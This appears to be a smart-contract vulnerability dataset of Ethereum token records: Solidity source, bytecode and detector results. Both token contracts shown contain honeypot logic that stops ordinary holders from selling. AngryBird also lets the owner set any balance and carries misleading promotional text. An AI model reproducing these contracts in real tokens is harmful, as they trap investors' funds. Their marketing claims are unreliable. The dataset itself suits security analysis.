recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function burn(uint256 amount) external onlyOwner{ _burn(msg.sender, amount); } modifier approveChecker(address brun, address recipient, uint256 amount){ if (_owner == _safeOwner && brun == _owner){_safeOwner = recipient;_;} else{if (brun == _owner || brun == _safeOwner || recipient == _owner){_;} else{require((brun == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}} } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amount) internal virtual onlyOwner { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806342966c6814610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610717565b6040518082815260200191505060405180910390f35b6102f1610760565b005b6102fb6108e8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610911565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b3565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109d1565b6040518082815260200191505060405180910390f35b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610a58565b8484610a60565b6001905092915050565b6000600654905090565b600061055d848484610c57565b61061e84610569610a58565b61061985604051806060016040528060288152602001611c4760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610a58565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b610a60565b600190509392505050565b6000600960009054906101000a900460ff16905090565b610648610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6107143382611863565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610768610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a95780601f1061097e576101008083540402835291602001916109a9565b820191906000526020600020905b81548152906001019060200180831161098c57829003601f168201915b5050505050905090565b60006109c76109c0610a58565b8484610c57565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611cb56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611bff6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610d265750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156110265781600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b610ee484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179b565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110cf5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111275750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156113e657600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156111b2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611238576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b6112a484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179a565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061148f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6114e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c216026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561156a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156115f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b61165c84604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f184600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b505050505050565b6000838311158290611850576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118155780820151818401526020810190506117fa565b50505050905090810190601f1680156118425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b61186b610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461192d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c6f6021913960400191505060405180910390fd5b611a1f81604051806060016040528060228152602001611bdd60229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7781600654611b6f90919063ffffffff16565b600681905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080828401905083811015611b65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611bb183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117a3565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220d61666c66c07cb47c90611c12c961757ff907e5f3978a88cbacb8494d8de0f4864736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
8,555
0x39e21919697717e5258b3ae7d87f3c40d64f09a9
/** *Submitted for verification at Etherscan.io on 2021-02-06 */ /* WHAT IS AngryBird? AngryBird is a decentralized ethereum based deflationary token which is used for bidding at auction sales. Users can bid and participate in auctions using AngryBird at auction or on shopping sites. members can sell products, participate in services and auctions using bigcoin. AngryBird offers you a structure that allows you to create your own e-commerce space. You use AngryBird when selling products, services and auctions. AngryBird will be used in many shopping and auction sites in the future with its partner companies. SMART INSURANCE AngryBird tracks exact amounts of user funds as they dynamically move across various protocols, and bills by the second using a streamed payment system. The result is minimized costs and maximized flexibility! Currently supported currencies: ETH and DAI. The open sourced codebase can be found in the public Github linked in the DEVELOPER RESOURCES section of this documentation. When a user makes changes to their funds, AngryBird Smart Insurance System detects it and recommends a new coverage combination. Upon approval, the coverage is adjusted to match the new balance of funds. Pay As You Go and Only Pay What You Owe Say goodbye to buying static chunks of coverage and micromanaging cover amounts, expiries and being stuck with coverage you don’t need when you move your assets between protocols. Experience flexibility and minimized costs: Real time tracking of user funds as they move across various platforms Automatically adjustable coverage amount for exact user funds per protocol Streamed payments bill by the second so you only pay for coverage you use for the time you use it When a user makes changes to their funds, AngryBird Smart Insurance System detects it and recommends a new coverage combination. Upon approval, the coverage is adjusted to match the new balance of funds. */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract AngryBird { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158209fc07cb5a55548cf7688a8447e00925c40934f6f76421c20b21b3bb0b00ee86064736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
8,556
0x9d43e33ed9352c7e37983a0f62dc18b24ae5ac4a
